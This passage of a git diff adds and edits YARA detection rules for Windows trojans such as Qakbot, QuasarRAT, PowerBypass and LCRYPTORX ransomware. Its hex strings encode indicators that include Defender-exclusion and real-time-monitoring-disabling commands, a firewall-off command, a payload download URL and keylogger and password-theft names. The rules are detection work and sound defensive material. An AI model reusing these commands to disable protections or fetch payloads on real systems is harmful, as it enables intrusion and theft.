00 " + + strings : + $a_00_0 = {61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 24 00 } //1 add-mppreference -exclusionpath $ + $a_00_1 = {61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 } //1 add-mppreference -exclusionprocess $ + $a_00_2 = {66 00 6f 00 72 00 65 00 61 00 63 00 68 00 20 00 28 00 24 00 } //1 foreach ($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowExcScr/Trojan_Win32_PowExcScr_HB_MTB.yar b/Trojan/Win32/PowExcScr/Trojan_Win32_PowExcScr_HB_MTB.yar new file mode 100644 index 0000000000..c765e1c2da --- /dev/null +++ b/Trojan/Win32/PowExcScr/Trojan_Win32_PowExcScr_HB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_PowExcScr_HB_MTB{ + meta: + description = "Trojan:Win32/PowExcScr.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 27 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 [0-40] 2e 00 73 00 63 00 72 00 27 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Powdow/Trojan_Win32_Powdow_HA_MTB.yar b/Trojan/Win32/Powdow/Trojan_Win32_Powdow_HA_MTB.yar new file mode 100644 index 0000000000..90206155dd --- /dev/null +++ b/Trojan/Win32/Powdow/Trojan_Win32_Powdow_HA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Powdow_HA_MTB{ + meta: + description = "Trojan:Win32/Powdow.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff84 00 ffffff84 00 05 00 00 " + + strings : + $a_00_0 = {25 00 20 00 7b 00 5b 00 43 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 } //100 % {[Char]$_}) + $a_00_1 = {7b 00 24 00 6e 00 75 00 6c 00 6c 00 20 00 3d 00 20 00 24 00 5f 00 7d 00 } //20 {$null = $_} + $a_00_2 = {5b 00 63 00 68 00 61 00 72 00 5d 00 30 00 78 00 } //10 [char]0x + $a_00_3 = {46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 FromBase64String + $a_00_4 = {47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 } //1 Get-Random + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*20+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=132 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DA_MTB.yar b/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DA_MTB.yar new file mode 100644 index 0000000000..32c2005137 --- /dev/null +++ b/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_PowerBypass_DA_MTB{ + meta: + description = "Trojan:Win32/PowerBypass.DA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6a 00 6a 00 07 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {41 00 65 00 73 00 43 00 72 00 79 00 70 00 74 00 6f 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 50 00 72 00 6f 00 76 00 69 00 64 00 65 00 72 00 } //1 AesCryptoServiceProvider + $a_00_2 = {5b 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 } //1 [Reflection.Assembly]::Load + $a_00_3 = {43 00 72 00 65 00 61 00 74 00 65 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 28 00 29 00 } //1 CreateDecryptor() + $a_00_4 = {54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 46 00 69 00 6e 00 61 00 6c 00 42 00 6c 00 6f 00 63 00 6b 00 28 00 24 00 } //1 TransformFinalBlock($ + $a_00_5 = {67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 70 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 27 00 48 00 4b 00 43 00 55 00 3a 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 43 00 6c 00 61 00 73 00 73 00 65 00 73 00 5c 00 } //1 get-itemproperty 'HKCU:\Software\Classes\ + $a_00_6 = {40 00 28 00 5b 00 62 00 79 00 74 00 65 00 5d 00 } //1 @([byte] + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=106 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DB_MTB.yar b/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DB_MTB.yar new file mode 100644 index 0000000000..2eb609515b --- /dev/null +++ b/Trojan/Win32/PowerBypass/Trojan_Win32_PowerBypass_DB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_PowerBypass_DB_MTB{ + meta: + description = "Trojan:Win32/PowerBypass.DB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {48 00 74 00 74 00 70 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 } //10 HttpBrowser + $a_00_2 = {4f 00 70 00 65 00 72 00 61 00 } //10 Opera + $a_00_3 = {57 00 67 00 65 00 74 00 } //10 Wget + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowhidSubExec/Trojan_Win32_PowhidSubExec_B.yar b/Trojan/Win32/PowhidSubExec/Trojan_Win32_PowhidSubExec_B.yar new file mode 100644 index 0000000000..32c858be7f --- /dev/null +++ b/Trojan/Win32/PowhidSubExec/Trojan_Win32_PowhidSubExec_B.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_PowhidSubExec_B{ + meta: + description = "Trojan:Win32/PowhidSubExec.B,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_1 = {68 00 69 00 64 00 64 00 65 00 6e 00 [0-3c] 24 00 } //1 + $a_00_2 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 } //1 appdata + $a_02_3 = {2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 [0-3c] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ProcessHijack/Trojan_Win32_ProcessHijack_GTM_MTB.yar b/Trojan/Win32/ProcessHijack/Trojan_Win32_ProcessHijack_GTM_MTB.yar new file mode 100644 index 0000000000..51c2cd3119 --- /dev/null +++ b/Trojan/Win32/ProcessHijack/Trojan_Win32_ProcessHijack_GTM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ProcessHijack_GTM_MTB{ + meta: + description = "Trojan:Win32/ProcessHijack.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {89 c1 8b 45 8c c7 44 24 10 40 00 00 00 c7 44 24 0c 00 30 00 00 89 54 24 08 89 4c 24 04 89 04 24 } //5 + $a_01_1 = {8b 45 e4 8b 48 54 8b 45 08 8b 10 8b 45 e4 8b 40 34 89 c3 8b 45 8c c7 44 24 10 00 00 00 00 89 4c 24 0c 89 54 24 08 89 5c 24 04 89 04 24 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Promete/Trojan_Win32_Promete_YAA_MTB.yar b/Trojan/Win32/Promete/Trojan_Win32_Promete_YAA_MTB.yar new file mode 100644 index 0000000000..bc3856ff46 --- /dev/null +++ b/Trojan/Win32/Promete/Trojan_Win32_Promete_YAA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Promete_YAA_MTB{ + meta: + description = "Trojan:Win32/Promete.YAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {6d c6 80 42 75 9f 00 73 c6 80 ?? ?? ?? ?? 68 c6 80 ?? ?? ?? ?? 6c c6 80 ?? ?? ?? ?? 70 c6 80 ?? ?? ?? ?? 64 c6 80 ?? ?? ?? ?? 61 53 c6 80 48 75 9f 00 33 68 } //1 + $a_01_1 = {8a 4d fc 02 c8 30 0f 3b c3 } //10 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*10) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/PureCrypter/Trojan_Win32_PureCrypter_NIT_MTB.yar b/Trojan/Win32/PureCrypter/Trojan_Win32_PureCrypter_NIT_MTB.yar new file mode 100644 index 0000000000..718df99e10 --- /dev/null +++ b/Trojan/Win32/PureCrypter/Trojan_Win32_PureCrypter_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PureCrypter_NIT_MTB{ + meta: + description = "Trojan:Win32/PureCrypter.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {e8 45 95 fc ff 87 d3 81 c3 78 42 3b 20 f7 df 33 05 39 14 4d 00 81 3d 30 0f 4d 00 d4 65 47 98 72 02 f7 d8 c1 e2 0d 81 f7 82 1b d2 43 c1 ea 0d 01 05 75 09 4f 00 87 c7 48 33 c7 ff c9 75 c2 } //3 + $a_01_1 = {8b 1d 65 60 4c 00 48 f7 d8 8b fa f7 d8 c1 eb 1e c1 e0 06 03 15 8c 9b 4e 00 c1 c8 16 f7 d0 ff c9 75 de } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Qakbot/Trojan_Win32_QakBot_RPB_MTB.yar b/Trojan/Win32/Qakbot/Trojan_Win32_QakBot_RPB_MTB.yar index 05eea21fe7..d6c195a97d 100644 --- a/Trojan/Win32/Qakbot/Trojan_Win32_QakBot_RPB_MTB.yar +++ b/Trojan/Win32/Qakbot/Trojan_Win32_QakBot_RPB_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_QakBot_RPB_MTB{ + meta: + description = "Trojan:Win32/QakBot.RPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 04 24 8b 4c 24 ?? 8a 14 01 8b 74 24 ?? 88 14 06 83 c0 01 8b 7c 24 ?? 39 f8 89 04 24 75 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_Win32_QakBot_RPB_MTB_2{ meta: description = "Trojan:Win32/QakBot.RPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -9,7 +19,7 @@ rule Trojan_Win32_QakBot_RPB_MTB{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_Win32_QakBot_RPB_MTB_2{ +rule Trojan_Win32_QakBot_RPB_MTB_3{ meta: description = "Trojan:Win32/QakBot.RPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win32/Qakbot/Trojan_Win32_Qakbot_SAJ_MTB.yar b/Trojan/Win32/Qakbot/Trojan_Win32_Qakbot_SAJ_MTB.yar deleted file mode 100644 index d9dc88a70a..0000000000 --- a/Trojan/Win32/Qakbot/Trojan_Win32_Qakbot_SAJ_MTB.yar +++ /dev/null @@ -1,12 +0,0 @@ - -rule Trojan_Win32_Qakbot_SAJ_MTB{ - meta: - description = "Trojan:Win32/Qakbot.SAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " - - strings : - $a_03_0 = {88 06 03 c2 25 ?? ?? ?? ?? 88 17 8b 55 ?? 8a 44 08 ?? 32 04 1a 88 03 43 ff 4d ?? 75 } //1 - $a_00_1 = {55 70 64 74 } //1 Updt - condition: - ((#a_03_0 & 1)*1+(#a_00_1 & 1)*1) >=2 - -} \ No newline at end of file diff --git a/Trojan/Win32/Qbot/Trojan_Win32_Qbot_BAA_MTB.yar b/Trojan/Win32/Qbot/Trojan_Win32_Qbot_BAA_MTB.yar new file mode 100644 index 0000000000..865c7e5310 --- /dev/null +++ b/Trojan/Win32/Qbot/Trojan_Win32_Qbot_BAA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Qbot_BAA_MTB{ + meta: + description = "Trojan:Win32/Qbot.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {43 6f 75 6c 64 6e 27 74 20 6f 70 65 6e 20 74 68 65 20 66 69 6c 65 } //1 Couldn't open the file + $a_81_1 = {40 65 63 68 6f 20 6f 66 66 } //1 @echo off + $a_81_2 = {25 77 69 6e 64 69 72 25 5c 73 79 73 74 65 6d 33 32 5c 73 6c 6d 67 72 2e 76 62 73 } //1 %windir%\system32\slmgr.vbs + $a_81_3 = {6e 65 74 20 73 74 6f 70 20 44 50 53 } //1 net stop DPS + $a_81_4 = {73 63 20 63 6f 6e 66 69 67 20 44 50 53 20 73 74 61 72 74 3d 20 64 69 73 61 62 6c 65 64 } //1 sc config DPS start= disabled + $a_81_5 = {6e 65 74 73 68 20 61 64 76 66 69 72 65 77 61 6c 6c 20 73 65 74 20 61 6c 6c 70 72 6f 66 69 6c 65 73 20 73 74 61 74 65 20 6f 66 66 76 69 73 75 61 } //1 netsh advfirewall set allprofiles state offvisua + $a_81_6 = {40 25 53 79 73 74 65 6d 52 6f 6f 74 25 5c 73 79 73 74 65 6d 33 32 5c 73 68 65 6c 6c 33 32 2e 64 6c 6c } //1 @%SystemRoot%\system32\shell32.dll + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/QuarkBandit/Trojan_Win32_QuarkBandit_A_dha.yar b/Trojan/Win32/QuarkBandit/Trojan_Win32_QuarkBandit_A_dha.yar index 64be4f15ad..e9c6856bd5 100644 --- a/Trojan/Win32/QuarkBandit/Trojan_Win32_QuarkBandit_A_dha.yar +++ b/Trojan/Win32/QuarkBandit/Trojan_Win32_QuarkBandit_A_dha.yar @@ -22,11 +22,12 @@ rule Trojan_Win32_QuarkBandit_A_dha_2{ $a_64_4 = {01 00 25 01 77 6f 72 6b 65 72 20 72 65 63 65 69 76 65 20 74 68 65 20 65 78 69 74 69 6e 67 20 4d 65 73 73 61 67 } //10354 $a_2e_5 = {00 06 01 41 7e 31 32 33 41 02 00 06 01 42 21 40 23 24 42 02 00 06 01 43 25 5e 26 2a 43 02 00 06 01 44 28 29 5f 2b 44 02 00 06 01 41 21 31 } //11877 $a_02_6 = {00 06 01 42 22 32 33 34 42 02 00 06 01 43 23 33 34 35 43 02 00 06 01 44 24 34 35 36 44 00 00 5d 04 00 00 fa d0 03 80 5c 31 00 00 fb d0 03 80 00 00 01 00 06 00 1b 00 42 61 63 6b 64 6f 6f 72 3a 57 } //13106 - $a_34_7 = {54 61 72 70 6c 79 2e 41 21 64 68 61 00 00 02 40 05 82 42 00 04 00 67 16 00 00 29 45 1a 62 bf 97 e4 0a 00 ab 3a 9a 00 46 03 00 01 20 a9 fa a9 4c 67 16 00 00 1d 29 } //28265 - $a_97_8 = {0a ae 98 cd df 00 46 03 00 01 20 54 30 14 fd 5d 04 00 00 fb d0 03 80 5c 1e 00 00 fc d0 03 80 00 00 01 00 08 00 08 00 ae 81 43 6c 6f 64 6f 77 00 00 01 40 05 82 70 00 04 00 67 16 00 00 bc 5f 7b 1b 01 82 b2 bf a3 9e f1 15 c3 0c 02 00 00 20 00 9e a4 ce 5d 04 00 00 fc d0 03 80 5c 29 00 00 00 d1 03 80 00 00 01 00 08 00 13 00 54 72 6f 6a 61 6e 3a 50 44 46 2f 53 6f 6e 62 6f 6b 6c 69 00 00 01 40 05 82 70 00 04 00 67 16 00 00 ba 77 2b 8f b3 7c 14 1a 8b c7 bb 75 59 90 00 00 01 20 8b c7 bb 75 5d 04 00 00 00 d1 03 80 5c 37 00 00 01 d1 03 80 00 00 01 00 2e 00 21 00 42 65 68 61 76 } //-27728 - $a_3a_9 = {69 6e 33 32 2f 4f 66 66 69 63 65 49 6e 6a 65 63 74 50 72 6f 63 2e 41 00 00 01 40 05 82 70 00 04 00 b3 55 00 00 04 01 02 02 00 02 41 02 00 11 40 00 0c 4d 22 4c f3 00 00 00 00 00 00 00 00 02 41 02 00 11 40 00 0a 43 7b 34 d0 00 00 00 00 00 00 00 00 02 41 00 01 10 40 00 04 8a d9 19 98 00 00 00 00 01 00 00 00 00 02 00 01 0e 40 00 00 00 00 00 00 } //28521 - $a_80_13 = {24 00 00 } //$ -12031 + $a_34_7 = {54 61 72 70 6c 79 2e 41 21 64 68 61 00 00 01 40 05 82 42 00 04 00 67 16 00 00 1d 29 b0 93 bf 97 e4 0a ae 98 cd df 00 46 03 00 01 20 54 30 14 fd 5d 04 00 00 fb d0 } //28265 + $a_1e_8 = {00 fc d0 03 80 00 00 01 00 08 00 08 00 ae 81 43 6c 6f 64 6f 77 00 00 01 40 05 82 70 00 04 00 67 16 00 00 bc 5f 7b 1b 01 82 b2 bf a3 9e f1 15 c3 0c 02 00 00 20 00 9e a4 ce 5d 04 00 00 fc d0 03 80 5c 29 00 00 00 d1 03 80 00 00 01 00 08 00 13 00 54 72 6f 6a 61 6e 3a 50 44 46 2f } //-32765 + $a_62_9 = {6b 6c 69 00 00 01 40 05 82 70 00 04 00 67 16 00 00 ba 77 2b 8f b3 7c 14 1a 8b c7 bb 75 59 90 00 00 01 20 8b c7 bb 75 5d 04 00 00 00 d1 03 80 5c 37 00 00 01 d1 03 80 00 00 01 00 2e 00 21 00 42 65 68 61 76 69 6f 72 3a 57 69 6e 33 32 2f 4f 66 66 69 63 65 49 6e 6a 65 63 74 50 72 6f 63 2e 41 00 00 01 40 05 82 70 00 04 00 b3 55 00 00 } //28499 + $a_02_10 = {00 02 } //260 Ȁ + $a_22_12 = {f3 00 00 00 00 00 00 00 00 02 41 02 00 11 40 00 0a 43 7b 34 d0 00 00 00 00 00 00 00 00 02 41 00 01 10 40 00 04 8a d9 19 98 00 00 00 00 01 00 00 00 00 02 00 01 0e 40 00 00 00 00 00 00 00 00 00 00 01 00 00 00 5d 04 00 00 01 d1 03 80 } //3072 condition: - ((#a_42_0 & 1)*3+(#a_50_1 & 1)*6912+(#a_54_2 & 1)*8276+(#a_66_3 & 1)*28518+(#a_64_4 & 1)*10354+(#a_2e_5 & 1)*11877+(#a_02_6 & 1)*13106+(#a_34_7 & 1)*28265+(#a_97_8 & 1)*-27728+(#a_3a_9 & 1)*28521+(#a_80_13 & 1)*-12031) >=9 + ((#a_42_0 & 1)*3+(#a_50_1 & 1)*6912+(#a_54_2 & 1)*8276+(#a_66_3 & 1)*28518+(#a_64_4 & 1)*10354+(#a_2e_5 & 1)*11877+(#a_02_6 & 1)*13106+(#a_34_7 & 1)*28265+(#a_1e_8 & 1)*-32765+(#a_62_9 & 1)*28499+(#a_02_10 & 1)*260+(#a_22_12 & 1)*3072) >=9 } \ No newline at end of file diff --git a/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_AYA_MTB.yar b/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_AYA_MTB.yar new file mode 100644 index 0000000000..8c645eea48 --- /dev/null +++ b/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_AYA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_QuasarRAT_AYA_MTB{ + meta: + description = "Trojan:Win32/QuasarRAT.AYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {31 34 31 2e 39 38 2e 37 2e 35 31 2f 73 74 75 62 2f 53 68 65 6c 6c 2e 65 78 65 } //2 141.98.7.51/stub/Shell.exe + $a_01_1 = {58 57 4f 52 4d 20 4e 4f 54 20 46 49 58 45 44 } //1 XWORM NOT FIXED + $a_01_2 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 69 6e 70 75 74 66 6f 72 6d 61 74 20 6e 6f 6e 65 20 2d 6f 75 74 70 75 74 66 6f 72 6d 61 74 20 6e 6f 6e 65 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 43 6f 6d 6d 61 6e 64 } //1 powershell -inputformat none -outputformat none -NonInteractive -Command + $a_01_3 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 43 3a 5c 57 69 6e 64 6f 77 73 5c 50 6f 77 65 72 53 68 65 6c 6c } //1 Add-MpPreference -ExclusionPath C:\Windows\PowerShell + $a_01_4 = {49 6e 6a 65 63 74 69 6f 6e 20 63 6f 6d 70 6c 65 74 65 64 21 } //1 Injection completed! + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_DC_MTB.yar b/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_DC_MTB.yar new file mode 100644 index 0000000000..f855ff6efe --- /dev/null +++ b/Trojan/Win32/QuasarRat/Trojan_Win32_QuasarRAT_DC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_QuasarRAT_DC_MTB{ + meta: + description = "Trojan:Win32/QuasarRAT.DC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {50 72 6f 63 65 73 73 20 61 6c 72 65 61 64 79 20 65 6c 65 76 61 74 65 64 2e } //1 Process already elevated. + $a_01_1 = {67 65 74 5f 50 6f 74 65 6e 74 69 61 6c 6c 79 56 75 6c 6e 65 72 61 62 6c 65 50 61 73 73 77 6f 72 64 73 } //1 get_PotentiallyVulnerablePasswords + $a_01_2 = {47 65 74 4b 65 79 6c 6f 67 67 65 72 4c 6f 67 73 44 69 72 65 63 74 6f 72 79 } //1 GetKeyloggerLogsDirectory + $a_01_3 = {73 65 74 5f 50 6f 74 65 6e 74 69 61 6c 6c 79 56 75 6c 6e 65 72 61 62 6c 65 50 61 73 73 77 6f 72 64 73 } //1 set_PotentiallyVulnerablePasswords + $a_01_4 = {42 51 75 61 73 61 72 2e 43 6c 69 65 6e 74 2e 45 78 74 65 6e 73 69 6f 6e 73 2e } //1 BQuasar.Client.Extensions. + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/RBot/Trojan_Win32_RBot_AHB_MTB.yar b/Trojan/Win32/RBot/Trojan_Win32_RBot_AHB_MTB.yar new file mode 100644 index 0000000000..8ff616f7a6 --- /dev/null +++ b/Trojan/Win32/RBot/Trojan_Win32_RBot_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_RBot_AHB_MTB{ + meta: + description = "Trojan:Win32/RBot.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {8d bd fb f9 ff ff f3 ab aa be ?? ?? ?? ?? 8d bd fc fe ff ff a5 a5 66 a5 a4 6a 3e 59 33 c0 8d bd 07 ff ff ff f3 ab aa 68 04 01 00 00 } //2 + $a_01_1 = {49 41 4d 4e 4f 54 48 49 4e 47 } //2 IAMNOTHING + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSA_MTB.yar b/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSA_MTB.yar new file mode 100644 index 0000000000..3601b7390d --- /dev/null +++ b/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSA_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_RansomLCRYX_BSA_MTB{ + meta: + description = "Trojan:Win32/RansomLCRYX.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,54 01 54 01 0f 00 00 " + + strings : + $a_00_0 = {6f 00 62 00 6a 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 45 00 78 00 65 00 63 00 75 00 74 00 65 00 } //1 objShell.ShellExecute + $a_00_1 = {65 00 6c 00 65 00 76 00 61 00 74 00 65 00 64 00 } //10 elevated + $a_00_2 = {57 00 73 00 68 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 52 00 65 00 67 00 57 00 72 00 69 00 74 00 65 00 } //1 WshShell.RegWrite + $a_00_3 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 } //1 DisableTaskMgr + $a_00_4 = {44 00 69 00 73 00 61 00 6c 00 6c 00 6f 00 77 00 52 00 75 00 6e 00 } //1 DisallowRun + $a_00_5 = {6d 00 73 00 63 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 65 00 78 00 65 00 } //1 msconfig.exe + $a_00_6 = {41 00 75 00 74 00 6f 00 72 00 75 00 6e 00 73 00 2e 00 65 00 78 00 65 00 } //1 Autoruns.exe + $a_00_7 = {67 00 70 00 65 00 64 00 69 00 74 00 2e 00 6d 00 73 00 63 00 } //1 gpedit.msc + $a_00_8 = {70 00 72 00 6f 00 63 00 65 00 78 00 70 00 2e 00 65 00 78 00 65 00 } //2 procexp.exe + $a_00_9 = {53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 } //20 Set-MpPreference -DisableRealtimeMonitoring + $a_00_10 = {6f 00 62 00 6a 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 52 00 75 00 6e 00 } //1 objShell.Run + $a_02_11 = {42 00 69 00 74 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 [0-24] 2d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 } //40 + $a_02_12 = {4b 00 61 00 73 00 70 00 65 00 72 00 73 00 6b 00 79 00 [0-32] 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 } //40 + $a_00_13 = {50 00 4c 00 45 00 41 00 53 00 45 00 52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00 78 00 74 00 } //20 PLEASEREADME.txt + $a_00_14 = {4c 00 43 00 52 00 59 00 50 00 54 00 4f 00 52 00 58 00 20 00 52 00 41 00 4e 00 53 00 4f 00 4d 00 57 00 41 00 52 00 45 00 } //200 LCRYPTORX RANSOMWARE + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 